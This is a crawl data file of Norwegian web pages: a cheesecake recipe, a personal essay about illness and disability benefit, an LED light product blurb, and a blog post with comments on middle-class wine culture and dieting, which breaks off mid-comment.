{"url": "http://jordbarpiken.blogspot.com/2012/08/oppskrift-pa-ostekake.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:27:17Z", "text": "\n\n## torsdag 9. august 2012\n\n### Oppskrift p\u00e5 ostekake\n\n\n\n  \nNoen har etterlyst oppskrift p\u00e5 ostekaken jeg la ut bilder av i dette innlegget.  \nI originaloppskriften er det brukt sitrongel\u00e9.  \nP\u00e5 den avbildede kaken har jeg brukt sitrongel\u00e9 i ostefyllet og bringeb\u00e6rgel\u00e9 p\u00e5 toppen.  \n  \nHer er oppskriften:  \n  \n**BUNN:**  \n10 Kornmokjeks  \n10 Bixitkjeks  \n125 gr. sm\u00f8r  \n  \n1\\. Smelt sm\u00f8r og avkj\u00f8l.  \n2\\. Knus kjeksen i foodprosessor.  \n3\\. Bland det avkj\u00f8lte sm\u00f8ret med kjeksen.  \n4\\. Press kjeksen i bunnen p\u00e5 kakeformen.  \nJeg bruker en 22 cm. rund springform (Bake It Easy fra Porsgrund Porselen).  \n24 cm. springform kan ogs\u00e5 brukes.  \n  \n**FYLL:**  \n1 pk. sitrongel\u00e9  \n1 pk. fl\u00f8te  \n1 pk. Tine kremost mandarin/ananas  \n1 beger lettr\u00f8mme  \n1 ss. vaniljesukker  \n1 dl. melis  \n  \n1\\. Bland ut sitrongel\u00e9pulveret i 2 1/2 dl. vann (ikke 5 dl. som det st\u00e5r p\u00e5 pakken).  \nLurt \u00e5 la det kj\u00f8lne litt f\u00f8r det blandes med resten.  \n2\\. Stivpisk kremfl\u00f8ten.  \n3\\. Bland alle ingrediensene til ostefyllet, og hell det over bunnen.  \nPass p\u00e5 at det ikke blir noen klumper.  \n4\\. La kaken stivne noen timer i kj\u00f8leskapet f\u00f8r du lager lokket,  \nellers vil lokket og ostefyllet blande seg sammen.  \n  \n**LOKK:**  \n1 pk. sitrongel\u00e9 (eller annen gel\u00e9 hvis \u00f8nskelig)  \n  \n1\\. Lag gel\u00e9 som anvist p\u00e5 pakken.  \n2\\. La den avkj\u00f8les f\u00f8r du heller den over kaken.  \n3\\. La kaken st\u00e5 i kj\u00f8leskapet til gel\u00e9en er stivnet; gjerne over natten.  \n  \nPynt med det du vil, og nyt en deilig ostekake\\!  \n  \n\u2665  \nhilde  \n  \n\n Lagt inn av Hilde Hanken   kl. 21:14           \n\n#### 8 kommentarer:\n\n\n\n\n\nHipsta Story sa...\n\nJeg bruker samme oppskrift, bare med mariekjeks i bunnen. Trodde f\u00f8rste gangen at det kom til \u00e5 bli for s\u00f8tt, men ble faktisk ikke det. Forrige gang jeg bakte denne droppet jeg gel\u00e9 p\u00e5 toppen og hadde revet limeskall p\u00e5. Det var ogs\u00e5 nydelig\\!  \nM\u00e5 f\u00e5 si at du har en fantastisk blogg som jeg har fulgt med p\u00e5 en god stund. Det har faktisk v\u00e6rt med p\u00e5 \u00e5 inspirere meg til \u00e5 s\u00e5 sm\u00e5tt begynne \u00e5 blogge litt selv :)\n\nAhh, nam nam\\! Dette s\u00e5 godt ut :)\n\n 9. august 2012 kl. 21:48    \n\n\n\n\n\nHumlehagen sa...\n\nS\u00e5 deilig dette ser ut,m\u00e5 pr\u00f8ves\\!God kveld fra Humlehagen\\!:)\n\n 9. august 2012 kl. 21:52    \n\n \n\nSer delicious ut \\!  \ntror jeg m\u00e5 pr\u00f8ve denen i helgen \\!  \nnydelig bilde ogs\u00e5, f\u00e5r vann i munnen \\!\\!  \ngod helg \\!  \nklem\n\n 9. august 2012 kl. 22:49    \n\n \n\nTre Engler sa...\n\nS\u00e5 helt herlig ut:)  \nSov godt  \n  \nKlem Merete\n\n 9. august 2012 kl. 23:52    \n\n\n\n\n\ndryss - madam Torvestad sa...\n\nFor en vakker og inspirerende blogg\\! Mye candy for \u00f8yet n\u00e5r man rullet nedover siden din:-)  \n  \n\u00d8nsker deg en herlig helg\\!\n\n 10. august 2012 kl. 08:51    \n\n \n\nEmel Sevren P\u0131nar sa...\n\nharika, elinize sa\u011fl\u0131k..T\u00fcrkiye den sevgiler..\n\n 10. august 2012 kl. 09:26    \n\n\n\n\n\nFru Uteng sa...\n\nDen m\u00e5 pr\u00f8ves, s\u00e5 og h\u00f8rtes nydelig ut :)\n\n 16. august 2012 kl. 10:14    \n\n", "language": "no", "__index_level_0__": "f3d8110a-e887-459c-9172-de448d46a79b"}
{"url": "https://lillelabyrint.wordpress.com/tag/ufor/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:46:46Z", "text": "# LilleLabyrint\n\n\n\n# Tag Archives: uf\u00f8r\n\n# De tomme sidene\n\nPosted on 29. oktober 2016  by  lillelabyrint\n\n19\n\n\u00abJeg skal ingen ting f\u00f8r jul\u00bb, sa jeg, ogs\u00e5 lo vi litt. Det er lettest s\u00e5nn. Sp\u00f8ke det vekk. Jeg tror det er vanskelig \u00e5 forst\u00e5 all sorgen som ligger i en tom kalender.\u00a0\n\nJeg h\u00f8rer ikke til noe sted lenger. Jeg er ikke en del av noe, slik jeg var f\u00f8r. For jeg har ogs\u00e5 v\u00e6rt som alle andre. Jeg hadde ogs\u00e5 noen \u00e5 spise lunch med p\u00e5 kaf\u00e9. Jeg hadde kollegaer, og m\u00f8ter p\u00e5 jobb. Sommerfester, og julebord. Jeg hadde venninner som kom p\u00e5 bes\u00f8k, b\u00e5de med og uten familie. Jeg inviterte og jeg ble invitert. Jeg hadde det ogs\u00e5 s\u00e5nn at jeg s\u00e5 frem til en frihelg. Jeg hadde velfortjent ferie, for tro meg, ferie har en helt annen betydning n\u00e5r du har noe \u00e5 g\u00e5 tilbake til.\u00a0\n\nJeg hadde venner jeg s\u00e5 hver dag. Noen s\u00e5 jeg hver uke. Noen sjeldnere, kanskje noen ganger i \u00e5ret. N\u00e5 kan det g\u00e5 m\u00e5neder mellom hver gang jeg ser noen. Noen er det \u00e5r siden jeg har sett. Noen har jeg ikke sett.\u00a0\n\nJeg er ikke i noens innerste sirkel lenger. De der ute har fremdeles noen \u00e5 spise lunch med. Det er andre venner som kan komme p\u00e5 bes\u00f8k og inviteres. Andre som kan drikke vin, eller ta en l\u00f8petur eller dra p\u00e5 hyttetur. Der ute blir ingens kalender tom fordi om min er.\u00a0\n\n\n\nOg her sitter jeg og blar i de tomme sidene med datoer p\u00e5, ogs\u00e5 h\u00f8rer jeg alle disse stemmene som sier at du er fremdeles deg selvom du er syk. Ogs\u00e5 tenker jeg, er jeg egentlig det? Jeg kan med h\u00e5nden p\u00e5 hjertet si at det ikke f\u00f8les s\u00e5nn. Man skulle kanskje tro at etter snart seks \u00e5r med sykdom, ville jeg st\u00e5 sterkere i meg selv enn noen gang. N\u00e6rmere hvem jeg er. Tryggere p\u00e5 hvem jeg er. Men denne h\u00f8sten f\u00f8ler jeg meg lenger unna enn noen gang. Jeg f\u00f8ler meg ribbet for alt jeg trodde var meg. Plukket fra hverandre, og jeg leter litt desperat etter delene mine igjen. For \u00e5 lappe meg sammen. Jeg beh\u00f8ver \u00e5 bli meg igjen. Jeg savner meg.\u00a0\n\nDenne h\u00f8sten har handlet om, og handler fors\u00e5vidt fremdeles om, \u00e5 s\u00f8ke uf\u00f8r.\n\nU F \u00d8 R.\u00a0\n\nJeg f\u00f8ler det lyser i panna mi. En aura av nederlag. Jeg skulle aldri hit. Men her er jeg. Jobb og kollegaer og noe \u00e5 g\u00e5 til, er ikke lenger p\u00e5 toppen av lista. Det har blitt til en bonus. Ikke noe jeg kan regne med, med det f\u00f8rste. \u00abDet er ikke for alltid\u00bb, sier dem. Mest for \u00e5 tr\u00f8ste, for de ser skrekken i \u00f8ynene mine. \u00abNei, det er ikke det,\u00bb svarer jeg, men vet ikke helt om jeg klarer tro p\u00e5 det her jeg er n\u00e5. For jeg vet jeg er hvem jeg er, ikke hva jeg gj\u00f8r. Men jeg lover, at det du gj\u00f8r styrker s\u00e5 mye av hvem du er. Det betyr mye \u00e5 ha folk rundt seg. V\u00e6re en del av noe. Ha kollegaer som sier hei. F\u00e5 lov til \u00e5 klage over togstreik eller den f\u00f8rste frosten p\u00e5 bilruta om morgenen. Ha noe \u00e5 ta ferie fra. \u00a0\n\nJeg vet jeg er meg fremdeles. Ett eller annet sted finnes jeg jo. Jeg leter etter stoltheten. Styrken. Motet. Denne h\u00f8sten har stj\u00e5let det, og etterlatt meg som en skj\u00f8r og gjennomsiktig ting. Som ett av disse bladene som har falt, som aldri fikk farge.\u00a0\n\nDet er en kamp \u00e5 telle seiere i en foss av tap. Det er vanskelig \u00e5 finne meg i alle disse tomme sidene med datoer p\u00e5.\u00a0  \n(P\u00e5 siden med datoen for i dag skal jeg skrive en seier: skrevet blogginnlegg igjen. )\u00a0\n\n Posted in LilleLabyrint   Tagged identitet, kalender, uf\u00f8r \n\n\nDet er jeg som er Ann Jeanette, labyrintekspedisjonsleder. Jeg blir veldig glad n\u00e5r dere som bes\u00f8ker labyrinten min legger igjen en kommentar eller deler videre med andre. Har du sp\u00f8rsm\u00e5l eller \u00f8nsker \u00e5 ta kontakt s\u00e5 er jeg lett \u00e5 treffe p\u00e5 facebooksiden til Lille Labyrint. Jeg kan ogs\u00e5 treffes p\u00e5 mail. Alle tekster og bilder er mine egne, hvis ikke annet er oppgitt. Les mer under \"om meg\". email@example.com\n\n", "language": "no", "__index_level_0__": "a9531616-d822-4160-a321-26cbf3ee7f8d"}
{"url": "https://www.norgesled.no/products/rigid-treveisbryter", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:36:49Z", "text": "Rigid er kjent for \u00e5 levere ekstremt robuste og gode LED lyskastere og fungerer perfekt som fjernlys eller arbeidslys. Rigid distribueres av Ekstralys i Norge. Lyktene produseres utelukkende i USA og er kjent for \u00e5 ha en utrolig kvalitet og levetid. Vi kaller det uknuselig Rigid kvalitet og gir 5 \u00e5rs garanti.\n\n", "language": "no", "__index_level_0__": "a76b52cd-0dd1-4c61-8bb8-258a978293d6"}
{"url": "https://idajackson.no/2013/05/18/rodvin-er-middelklassens-godis/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:41:42Z", "text": "Lagt ut p\u00e5 mai 18, 2013\n\n# R\u00f8dvin er middelklassens godis\n\nDa jeg begynte \u00e5 slanke meg, var jeg forberedt p\u00e5 \u00e5 m\u00e5tte si nei til kroneis, marsipangris, ostepop, brus, marshmallows, pizza, pannekaker, M\\&M's og sjokoladekjeks i store mengder. S\u00e5nn ble det ikke. Det er p\u00e5fallende lite ostepop i livet mitt med mindre jeg kj\u00f8per den selv. De eneste gangene jeg m\u00e5 takke nei til godteri er p\u00e5 jobben fordi det hender det st\u00e5r en sk\u00e5l med kremtopper fremme. Men det er ikke mange kalorier i \u00e9n kremtopp og siden det er frekt \u00e5 momse hele sk\u00e5la p\u00e5 egenh\u00e5nd klarer jeg \u00e5 begrense meg.\n\nJeg er i et milj\u00f8 der det er relativt enklet \u00e5 slanke seg. Det handler mest om\u00a0*klasse.*\u00a0For jeg har klassereist. Jeg er ikke fra \u00abarbeiderklassen\u00bb. Det ville krevd at folk rundt meg hadde hatt, vel, arbeid. Jeg kommer fra et milj\u00f8 der det er normalt \u00e5 f\u00e5 pengene fra NAV. Da jeg beveget meg fra \u00abTakk for maten, staten\u00bb til \u00f8vre middeklasse, var det mange livsstilsmark\u00f8rer som endret seg.\n\n# Her er ting jeg nesten aldri ser mer:\n\n1.  Folk under 40 \u00e5r som r\u00f8yker sigaretter.\n2.  Folk med en KMI p\u00e5 mer enn 35 \u2013 uansett alder.\n3.  Bollepose fra Gudesen.\n4.  L\u00f8svektgodis fra Svinesund.\n5.  Mariekjeks, Safarikjeks, Gjendekjeks, Gullvafler, Pepitakjeks osv.\n6.  Grandiosa, Big One, frossenlasgne, kebabpizza.\n7.  Seigmenn, Sursild, Nonstop, Bamsemums, Fox, Dumle, Sm\u00f8rbukk, Smil osv.\n8.  Noe som helst fra Toro.\n9.  Thousand Island, Hamburgerdressing, hvitl\u00f8ksr\u00f8mme.\n10. Baconp\u00f8lse fra Narvesen, Mr. Lee, alt som kommer med pomfrittkrydder.\n11. Folk som sier at de hater vegetarianere og ler av gr\u00f8nnsaker.\n12. Ostepop, baconcrisp, Pringles, pottis med dipp.\n13. Hele plater med melkesjokolade som l\u00f8rdagsgodt til \u00e9n person.\n14. Spis s\u00e5 mye du vil-pizzabuffeter.\n15. Rislunsj, Kos, noe som helst \u00abPiano\u00bb.\n16. Fenomenet \u00abkakebord\u00bb.\n\nDa jeg klassereiste forsvant alt dette ut av livet mitt sammen med skumbilene, hamstringen av julemarsipan i januar og loff som en viktig del av hverdagsmaten. N\u00e5 er jeg i et milj\u00f8\u00a0der det \u00e5 v\u00e6re tjukk gj\u00f8r meg til en minoritet. Jeg pr\u00f8ver \u00e5 ikke tenke: \u00ab\u00c5gud, jeg er den eneste tjukke p\u00e5 kontoret/ den eneste feite som skal snakke p\u00e5 konferansen/den tjukkeste p\u00e5 dette m\u00f8tet/den tjukkeste p\u00e5 denne festen\u00bb, men det er likefullt\u00a0*sant.\u00a0*\u00a0I f\u00f8lge levek\u00e5rsunders\u00f8kelsen fra 2008 har 29% av alle \u00f8stfoldinger en KMI p\u00e5 27 eller mer. I Oslo er det 17%. Det gir utslag i mengden Safarikjeks man blir utsatt for i l\u00f8pet av en uke.\n\nDet betyr ikke at det mangler\u00a0*utfordringer\u00a0*for meg i denne nye middelklassetilv\u00e6relsen.\n\nHer er en liste over det de h\u00f8yt l\u00f8nnede og h\u00f8yt utdannede spiser istedenfor Smil:\n\n# Middelklassens godteri:\n\n1.  Olivenolje. Ja, det er sunt. Ja, det er bra for hjertet. Men det er fortsatt nesten 1000 kalorier i en deciliter.\u00a0\n2.  Sm\u00f8r. Ikke Bremyk. Ikke Bredlett. Nei, Kvitseid-R\u00f8ros-Brimi-sm\u00f8r som smaker himmerik. Og like kaloririkt som oljen.\n3.  N\u00f8tter.\n4.  Fancy ost og serranoskinke.\n5.  Hjemmelaget dessert.\n6.  R\u00f8dvin, hvitvin, sterk\u00f8l, kvalitetssprit, fancy drinker, champagne, utepils, gjenta.\n\nFor meg er alkoholen definitivt vanskeligst. Litt olje, litt sm\u00f8r, litt n\u00f8tter, litt brie, litt dessert- det kan jeg bake inn i kaloriene mine. Men forskjellen p\u00e5 fancy ost og r\u00f8dvin er at folk har forventinger til hvor mye og ofte du skal putte det i munnen.\n\nJeg pleide \u00e5 v\u00e6re i en verden der folk drakk for \u00e5 bli fulle. I middelklasse-land er alkoholen del av *hverdagen.* Det er flaut \u00e5 bli full. Alle fine ting inkluderer alkohol. \u00c5pning av et eller annet? Musserende\\! Et viktig m\u00f8te? Det m\u00e5 avsluttes med alkohol\\! Konferanse? Det blir drikking etterp\u00e5\\! Middag? Det er selvf\u00f8lgelig vin til. Middag med jobben? Vinpakke\\! Takk for hjelpen, talen, innsatsen \u2013 her er alkohol\\! Det er sol\\! Alkohol\\!\n\nOg det er ikke vodka med vaniljesmak og fanta exotic, for \u00e5 si det s\u00e5nn. Vin som er tilpasset maten du spiser, kj\u00f8pt fra Polets bestillingsutvalg, vin du b\u00e5de skal drikke med andakt og glede deg til og snakke om. \u00d8l folk har brygget selv. R\u00f8dvin folk har lagret selv. R\u00f8dvin folk har sovet i k\u00f8 utenfor Polet p\u00e5 Briskeby for \u00e5 kj\u00f8pe. Drinker folk har vunnet priser for. Drekka du m\u00e5 lese deg opp p\u00e5.\n\nDet smaker fantastisk. Det er h\u00f8ykvalitetskos. Men realiteten er at det er sosialt vanskelig \u00e5 si nei til \u2013 og nesten umulig \u00e5 kombinere med vektnedgang. For alkohol er ikke bra for oss.\u00a0*  \n*\n\n# Den kjipe sannheten om alkohol\n\n1.  Alkohol har flere kalorier enn karbohydrater og protein. Det er 7 kalorier pr gram alkohol, mens det er 4 kalorier i ett gram karbohydrat.\u00a0\n2.  De sier at r\u00f8dvin inneholder sunne antioksidanter, men du f\u00e5r i deg det samme stoffet om du bare spiser druene. La oss slutte \u00e5 lure oss selv.\n3.  N\u00e5r de sier at vindrikkere er sunnere enn \u00f8ldrikkere, handler det om at folk som drikker mest pils spiser mer potetgull og folk som drikker mest vin spiser mest oliven. (Alts\u00e5 klasse, ikke om helseeffektene av r\u00f8dvin.)\n4.  Alkohol bremser forbrenningen din. Det er fordi kroppen roper \u00abUps, giftstoff\\! Det m\u00e5 leveren forbrenne\u00a0*f\u00f8r\u00a0*vi g\u00e5r l\u00f8s p\u00e5 all den andre maten\\!\u00bb Og s\u00e5 er den vanlige forbrenningen din i sneglefart til kroppen har gjort unna alkoholen. Du bruker ca. 2,5 timer p\u00e5 \u00e5 forbrenne et glass vin. En flaske r\u00f8dvin har \u00abbare\u00bb 500 kalorier (omtrent en middag), men kroppen er ikke ferdig med \u00e5 kvitte seg med alkoholen f\u00f8r 14 timer senere.\n5.  Selv om du f\u00f8ler deg avslappet n\u00e5r du drikker, blir kroppen stressa og skiller ut stresshormoner. Disse stresshormonene gj\u00f8r at mer av maten du ikke f\u00e5r forbrent lagrer seg som fett p\u00e5 vommen. Derav fenomenet \u00f8lmage.\n6.  Du spiser mer n\u00e5r du har drukket mye, fordi selvkontrollen blir lavere.\n7.  Hvis du trener, har alkohol en negativ effekt p\u00e5 restitusjonen av musklene. Og det er tyngre og vanskeligere \u00e5 trene dagen derp\u00e5\u2026\n\nJeg pr\u00f8ver \u00e5 finne balansen her.\n\n# Min l\u00f8sning til n\u00e5:\n\n1.  Jeg drikker ikke mer enn tre vinlgass i uka n\u00e5 som jeg slanker jeg. Og jeg drikker\u00a0*ikke\u00a0*alle tre p\u00e5 en kveld.\u00a0\n2.  Jeg pr\u00f8ver \u00e5 sjenke i glasset mitt selv. Ett vinglass = 1,5 dl vin, men folk er rause og snille og gir deg glatt to-tre dl.\n3.  Jeg drikker langsomt, og lar glasset mitt st\u00e5 halvfullt s\u00e5 folk ikke skal f\u00f8le seg kallet til \u00e5 sjenke i mer til meg.\n4.  Jeg drikker de tre vinglassene sammen med folk jeg er veldig glad i. Det er ingen grunn til \u00e5 bli sosial-brisen p\u00e5 minglefester der jeg skal dele ut visittkortet mitt.\n5.  Jeg kj\u00f8per alkoholfri \u00f8l og f\u00e5r det i \u00f8kglass n\u00e5r jeg er ute. Det er litt f\u00e6rre kalorier, og det f\u00f8kker ikke forbrenningen. Og jeg slipper sp\u00f8rsm\u00e5l og folks \u00ab\u00c5nei, drikker ikke du? Synes du jeg drikker for mye? Du burde kunne unne deg mer- ikke v\u00e6r s\u00e5 kjip\u00bb-prat.\n6.  Jeg lager flere sosiale avtaler som ikke involverer alkohol, som spaserturer.\n7.  Jeg drikker ikke sprit, og jeg drikker bare \u00f8l fra 3,3 dl-flasker.\n8.  Jeg setter meg ned med kalenderen hver s\u00f8ndag og sp\u00f8r meg selv: \u00abHvor er jeg invitert denne uka? Hvor kommer det til \u00e5 bli alkohol? Hvor skal jeg drikke og hvor skal jeg v\u00e6re edru?\u00bb Og s\u00e5 bestemmer jeg meg p\u00e5 forh\u00e5nd.\n\nDe tynne menneskene rundt meg drikker en flaske r\u00f8dvin og sykler \u00a0i Marka etterp\u00e5. Jeg er hverken slank nok eller sprek nok til \u00e5 gj\u00f8re det, men jeg tror ikke det er s\u00e5 sunt uansett. Vi drikker for mye. Sorry, middelklassen.\n\n### *Relatert*\n\n\n\n## 41 kommentarer om \"R\u00f8dvin er middelklassens godis\"\n\n1.   **penrush** sier:\n    \n    mai 18, 2013, kl. 13:15\n    \n    Kjenner meg igjen i mye du skriver. Vil si jeg er f\u00f8dt inn i \u00abmiddelklassen\u00bb og en del matvaner du beskriver f\u00e5r bjeller til \u00e5 ringe. Fatter'n er gira p\u00e5 gourmet og maten skal helst lages fra bunnen av. F\u00e5r se hvor mye jeg tar med meg videre.\n    \n    Ps: Seranoskinke p\u00e5 hjemmelaget pizza er digg, for ikke \u00e5 snakke om chorizo p\u00f8lse\n    \n    Svar\n2.   **tanteMy** sier:\n    \n    mai 18, 2013, kl. 15:29\n    \n    Mye interessant her, og ting \u00e5 l\u00e6re seg ogs\u00e5. Jeg har alltid h\u00f8rt at \u00f8l legger seg p\u00e5 vomma uansett alkohol, men det er kanskje ikke sant, da? Hvordan alkoholen bremser forbrenningen har jeg aldri forst\u00e5tt f\u00f8r du forklarte det. Takk\\!  \n    Jeg har vel ogs\u00e5 klassereist litt. Eller \u00abbumpet\u00bb, siden jeg n\u00e5 f\u00e5r pengene mine fra NAV og da er kommet under arbeiderklassen igjen. P\u00e5 et vis. Men det er ting \u00e5 kjenne igjen.  \n    Men det er stadig mer vindrikking i arbeiderklassen ogs\u00e5, s\u00e5 bildet vil nok nyansere seg litt. Og hva er klasse? Handler det om kultur eller penger?\n    \n    Svar\n    1.   **Cathrine** sier:\n        \n        mai 19, 2013, kl. 18:00\n        \n        Kultur eller penger? Sosiologene sier: Begge deler\\!\n        \n3.   **Ingeborg Volan** sier:\n    \n    mai 18, 2013, kl. 16:39\n    \n    Har samme utfordringene som deg, og har ogs\u00e5 tatt Munkholm i \u00f8lglass-trikset noen ganger.\n    \n    Et annet tips: Farris eller Club soda med is og en sitronskive ser akkurat ut som gin tonic\\!\n    \n4.   **C** sier:\n    \n    mai 18, 2013, kl. 17:43\n    \n    Det jeg tenker n\u00e5r jeg leser dette, er \u00abstakkars deg\u00bb. Og jeg blir litt nysgjerrig p\u00e5 hvorfor \u00f8vre middelklasse velger seg alkohol som snop. Jeg innbiller meg at noe av poenget er \u00e5 vise frem viljestyrken og kontrollen i m\u00f8te med noe slikt, det blir en m\u00e5te \u00e5 skille klinten fra hveten. Men det kan godt v\u00e6re jeg tar feil. Selv har jeg vokst opp i et relativt velm\u00f8blert hjem, men tror jeg i grunn har dumpa ned i arbeiderklassen n\u00e5, i alle fall \u00f8konomisk. Og jeg m\u00e5 si meg sjeleglad for det, det h\u00f8res mye mer \u00e5lreit ut \u00e5 ta seg selv litt mindre h\u00f8ytidelig enn det jeg oppfatter de du snakker om som, dessuten hadde jeg ikke orka et slikt alkoholpress. Alkohol er virkelig ikke s\u00e5 stas.\n    \n    Lykke til i balansejakten\\!\n    \n5.   **Cathrine** sier:\n    \n    mai 19, 2013, kl. 18:01\n    \n    Veldig interessant blogginnlegg av flere grunner, men spesielt blir sosiologen i meg trigget av beskrivelsene dine av hvilken \u00absmak\u00bb man har, avhengig av hvilken klasse man befinner seg i. M\u00e5tte sporenstreks lete opp skjemaet fra Distinksjonen (Bourdieu), ligger ute p\u00e5 blogg n\u00e5. Regner med du har sett det f\u00f8r, men kan jo v\u00e6re interessant for andre ogs\u00e5\\! \ud83d\ude42\n    \n6.   **ForfatterfrueKaren** sier:\n    \n    mai 19, 2013, kl. 18:39\n    \n    Shit. N\u00c5 er jeg glad jeg uansett har slutta \u00e5 drikke, n\u00e5. Og det er overraskende lett, selv om absolutt alle i hele verden tror jeg er gravid. Jaja, det vil vise seg at de tok feil om ni m\u00e5neder:) Men om det er drikkepress i middelklassen? \u00c5ja.\n    \n7.   **Sexy Sadie** sier:\n    \n    mai 19, 2013, kl. 18:43\n    \n    Kan du ikke bare takke nei?\n    \n    Ellers kjempeglad for at du blogger igjen. :klem:\n    \n    1.   **vaskeklut** sier:\n        \n        mai 20, 2013, kl. 15:55\n        \n        Man kan alltids takke nei, men det f\u00f8lger ofte en \u00abhvorfor vil du ikke ha?\u00bb eller lignende med. Det er slitsomt i lengden \u00e5 hver eneste gang m\u00e5tte forsvare hvorfor man ikke \u00f8nsker. Mange virker \u00e5 ta det personlig og blir oppr\u00f8rte n\u00e5r man ikke drikker. Hvorfor? Det vet jeg ikke.\n        \n        1.   **tanteMy** sier:\n            \n            mai 20, 2013, kl. 18:47\n            \n            Mange f\u00f8ler skyldf\u00f8lelse og tenker at de burde ogs\u00e5 drikke mindre Og s\u00e5nn er det med trening og fornuftig spising ogs\u00e5. Man m\u00e5 ofte gj\u00f8re det litt diskret og late som man spiser litt mer av den usunne maten for ikke \u00e5 provosere.\n    \n    2.   **ida** sier:\n        \n        mai 24, 2013, kl. 13:22\n        \n        Det er kjempevanskelig takke nei til alkohol. Man m\u00e5 ha en unnskyldning som gravid, sykdom eller at man kj\u00f8rer bil, ellers blir folk mistenksomme. Det g\u00e5r ikke bare an \u00e5 ikke drikke. Selv er jeg en middelklasser\u00f8dvinsdrikker, men har mange venner som ikke drikker alkohol og har sett hvordan de gang p\u00e5 gang m\u00e5 forsvare at de ikke drikker.\n        \n8.   **Eli / Ziltoidia / Faffy** sier:\n    \n    mai 21, 2013, kl. 10:23\n    \n    Hihi, m\u00e5 si jeg kjenner meg igjen i de to f\u00f8rste listene alts\u00e5. Ikke at jeg har foretatt noen s\u00e6rlig klassereise selv. Er fortsatt fattig student. Men vennekretsen er av et litt annet klasselag enn meg. I hvertfall etter n\u00f8tter-olivenolje-og-fancy-ost-skalaen \u00e5 bed\u00f8mme.\n    \n    For\u00f8vrig kan jeg i det minste tr\u00f8ste meg med at selv om det ikke er enklere (s\u00e5nn sosialt sett) \u00e5 v\u00e6re avholds, er det hvertfall ikke s\u00e6rlig komplisert. \ud83d\ude09\n    \n9.   **EK** sier:\n    \n    mai 23, 2013, kl. 21:08\n    \n    Crema di balsamico er middelklassens ketsjup.\n    \n10. Tilbaketr\u00e5kk: Kaffesnobberi |\n\n11.  **Tjukk, men smart** sier:\n    \n    mai 24, 2013, kl. 06:41\n    \n    Jeg elsker denne bloggen\\! Du skriver det jeg tenker\\! Eller hvertfall burde tenkt, hvis jeg hadde klart \u00e5 ordlegge meg like elegant og smart som deg.\n    \n12.  **Magne D. Antonsen (VG)** sier:\n    \n    mai 24, 2013, kl. 15:05\n    \n    Bra blogg\\!\n    \n    Det er Magne fra VG her, n\u00e5 har jeg anbefalt innlegget ditt p\u00e5 forsiden av VG slik at flere kan f\u00e5 gleden av det.\n    \n    Er det andre som skriver en god blogg og vil ha mange nye lesere? Ikke n\u00f8l med \u00e5 sende en epost til meg p\u00e5 magnea |a| vg.no\n    \n    \ud83d\ude42\n    \n13.  **Bj\u00f8rn** sier:\n    \n    mai 24, 2013, kl. 22:09\n    \n    Jeg er 23 \u00e5r gammal, ikke kristen eller gravid eller noe (da jeg er en mann). Klarer fint \u00e5 si nei til alkohol. Sier det som det er, jeg trener styrke, alkohol er ikke bra n\u00e5r du skal bygge muskler. Ikke noe verre enn det.\n    \n    1.   **kjempetom** sier:\n        \n        mai 25, 2013, kl. 18:39\n        \n        Rart det der med \u00e6rlighet og bestemthet.\n        \n    2.   **Tone** sier:\n        \n        mai 27, 2013, kl. 09:24\n        \n        Men du m\u00e5 gi en begrunnelse, ikke sant?\n        \n14.  **Magnus** sier:\n    \n    mai 25, 2013, kl. 10:06\n    \n    Livet m\u00e5 fremst\u00e5 som komplisert n\u00e5r ting som dette behandles s\u00e5 dyptpl\u00f8yende. Jeg f\u00e5r jo bekreftet av kommentarfeltet under artikkelen at folks forhold til alkohol lett kan defineres som tvangsnevrotisk\u2026\n    \n15.  **Malin** sier:\n    \n    mai 25, 2013, kl. 16:05\n    \n    Det er faktisk bare til \u00e5 takke nei. Og er det noen som er s\u00e5 frekke om \u00e5 sp\u00f8rre hvorfor s\u00e5 er det ganske enkelt bare \u00e5 si \u00abJeg har ikke lyst p\u00e5, ellert takk\u00bb. Og hva de sitter igjen \u00e5 tror etterp\u00e5 er vel egentlig det samme, for de du bryr deg om kjenner deg og vet grunnen og vil dermed ikke mase p\u00e5 deg om det.  \n    Man kan ikke g\u00e5 rundt \u00e5 gj\u00f8re andre tilfredse, men man m\u00e5 gj\u00f8re seg selv tilfreds. \ud83d\ude42\n    \n\n16.  **judokowaro** sier:\n    \n    mai 25, 2013, kl. 16:59\n    \n    First of all,there are In wine substances that support the resistance of the human body, making you resilient against the flu and colds .Also The alcohol present in the wine has a blood thinning effect allowing better blood flow to all organs (including brains and genitals), ensures better metabolism which in turn creates physical and psychological well-being. The ingredient that makes red wine so healthy is resveratrol, that can be found in many plants and fruits. The results of these scientific studies also point out that resveratrol stimulates additional activity of mitochondria. These are energieveranciers of your body cells, essential for a long and healthy life. But if you are not a carrier of the gene SIRT 1 than resveratrol does not work. Wine also lawers risk of prostate cancer, protects against heart disease , can prevent dementia, lower risk of kidney stones.So 2 glasses of red wine a day is a thing to do , especially if you are a middle class person who would like to follow the \" healthy life\" trend:)\n    \n    1.   **Thale K O** sier:\n        \n        juni 8, 2013, kl. 16:34\n        \n        The mortality curve of alcohol dosage is J-shaped: Yes, low to moderate alcohol intake is shown to reduce mortality, BUT the detrimental effects (and large mortality increase) once the dose exceeds one or two units daily are so great that I think I'll stick to recommending my patients wanting to follow the \u00abhealthy life trend\u00bb excercise, fruits and veg & cutting cigarettes for now.\n        \n        (About 100 000 Norwegian alcoholics will probably not appreciate your argument about alcohol increasing psychological well-being).\n        \n        Svar\n        1.   **judokowaro** sier:\n            \n            juni 12, 2013, kl. 14:58\n            \n            Well , unfortunatly we are talking about the irony of Trend here . In many parts of europe it is supported by doctors and is a general recommendation which does appeal to a large group of people that btw eat their fruits and veg and excercise and even dont smoke- thats the New Trend we talk about here .I only present it as a fact and not a personal opinion.  \n            ( There was no offence ment to any group of people here yet I cant change statistics and researches that are based on 2 consumptions a day for a healthy people with no bad habbits.)\n\n17.  **kjempetom** sier:\n    \n    mai 25, 2013, kl. 20:04\n    \n    Jeg kjenner jeg blir delt i to av denne posten. Dels fordi du 